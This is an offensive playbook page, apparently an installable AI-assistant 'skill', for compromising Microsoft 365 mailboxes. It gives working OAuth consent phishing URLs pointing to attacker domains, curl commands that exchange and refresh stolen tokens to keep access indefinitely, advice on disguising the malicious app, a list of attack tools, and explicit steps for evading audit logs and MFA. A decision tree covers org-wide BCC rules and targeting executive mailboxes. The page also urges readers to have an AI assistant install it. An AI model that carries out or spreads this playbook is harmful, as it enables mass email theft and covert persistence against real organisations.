Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Microsoft 365 mailbox compromise chain — OAuth consent phishing, delegate access abuse, mail rule persistence, and token theft via device code phishing. Full kill chain from initial access to persistent email collection.
OAuth consent grant or device code phishing for Graph API tokens
Additional Email Delegate Permissions
T1098.002
Add mailbox delegate or ApplicationImpersonation role
Remote Email Collection
T1114.002
Exfiltrate mail via Graph API or EWS
Office Application Startup
T1137
Outlook rules, forms, and home page for persistence
Phishing: Spearphishing Link
T1566.002
OAuth consent phishing URL delivery
Account Manipulation
T1098
Mail flow rule creation for persistent forwarding
1. OAuth Consent Grant Phishing
Craft Malicious OAuth Application
# Register app in attacker-controlled Azure AD tenant# Azure Portal → App Registrations → New Registration# Redirect URI: https://<ATTACKER_DOMAIN>/callback# Request permissions: Mail.Read, Mail.ReadWrite, Contacts.Read, Files.Read# Build consent URL — victim clicking grants access
CONSENT_URL="https://login.microsoftonline.com/common/adminconsent?client_id=<MALICIOUS_APP_ID>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=https://graph.microsoft.com/.default"# For user-level consent (no admin required):
USER_CONSENT="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<MALICIOUS_APP_ID>&response_type=code&redirect_uri=https://<ATTACKER_DOMAIN>/callback&scope=Mail.Read+Mail.ReadWrite+offline_access&response_mode=query"# After victim consents, exchange auth code for tokens
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=<MALICIOUS_APP_ID>&client_secret=<APP_SECRET>&code=<AUTH_CODE>&redirect_uri=https://<ATTACKER_DOMAIN>/callback&grant_type=authorization_code"
Evasion: Disguise the Application
# Name the app to look legitimate:# "Microsoft Security Update"# "IT Helpdesk Portal"# "SharePoint Document Viewer"# Use a publisher domain similar to target org# Request minimal permissions initially, escalate later via incremental consent
# Refresh tokens last 90 days by default (can be revoked)# Keep refreshing before expiry to maintain access indefinitely# Automated token refresh loop
REFRESH_TOKEN=$(jq -r '.refresh_token' /tmp/m365_tokens.json)
NEW_TOKENS=$(curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite")
echo"$NEW_TOKENS" > /tmp/m365_tokens.json
# Check token validity
curl -s "https://graph.microsoft.com/v1.0/me" \
-H "Authorization: Bearer $(jq -r '.access_token' /tmp/m365_tokens.json)" | jq '{displayName,mail,userPrincipalName}'# If refresh token is revoked, fall back to:# 1. Consent grant still active → re-authenticate via consent URL# 2. Mail forwarding rules still active → passive collection continues# 3. Delegate permissions still active → access via different compromised account
Tools & Resources
Tool
Purpose
TokenTactics (PowerShell)
Device code phishing and token manipulation
AADInternals
Azure AD / M365 enumeration and abuse
ROADtools
Azure AD data collection and analysis
GraphRunner
Graph API post-exploitation framework
Mailsniper
Exchange/M365 mailbox enumeration
o365creeper
M365 user enumeration via ActiveSync
Hawk
M365 forensic log analysis (know your enemy)
Detection Signatures
Indicator
Detection Method
OAuth consent grant to unknown app
Azure AD sign-in logs: ConsentGrant activity
Device code flow from unusual IP
Azure AD: DeviceCodeFlow auth event with risky IP
ApplicationImpersonation role assignment
Unified Audit Log: New-ManagementRoleAssignment
Inbox rule with external forwarding
Exchange audit: New-InboxRule with ForwardTo external
Mail flow rule with BCC to external
Exchange admin audit: New-TransportRule
Graph API bulk message access
Azure AD sign-in: high-volume Mail.Read scoped token usage
Delegate mailbox access added
Exchange audit: Add-MailboxPermission with FullAccess
Consent blocked by admin policy: Target tenants with User.ReadWrite.All admin consent required; use device code flow instead — it uses first-party Microsoft client IDs
Conditional Access Policy blocks token: Some CAs require compliant device; device code flow from attacker machine may be blocked — chain with compromised endpoint
Refresh token revoked: Fall back to active mail rules or delegate access; these persist independently of token state
Audit logs enabled: Operate during business hours; blend Graph API calls with legitimate patterns; use first-party client IDs to avoid suspicious app registrations
MFA on target account: Device code phishing bypasses MFA — victim authenticates with their MFA; token captured post-authentication
Mailbox audit logging: Modern M365 enables mailbox auditing by default; minimize API calls, use $select to reduce logged scope
Decision Gate
IF initial access to M365 account:
→ Deploy inbox forwarding rule for passive collection
→ Create hidden mail rule matching high-value keywords
→ Exfiltrate recent email via Graph API search
→ Refresh token on schedule to maintain access
IF Exchange admin access:
→ Grant ApplicationImpersonation for cross-mailbox access
→ Create transport rule for org-wide BCC
→ Target executive/finance mailboxes specifically
IF no credentials but phishing opportunity:
→ Device code phishing (bypasses MFA, uses legitimate Microsoft URL)
→ Fallback: OAuth consent grant phishing (requires app registration)
→ Last resort: credential phishing (less effective with MFA)
IF access is detected/revoked:
→ Mail rules persist after password reset — check if still forwarding
→ Delegate permissions persist after token revocation — re-authenticate
→ OAuth consent grants persist until explicitly revoked by admin
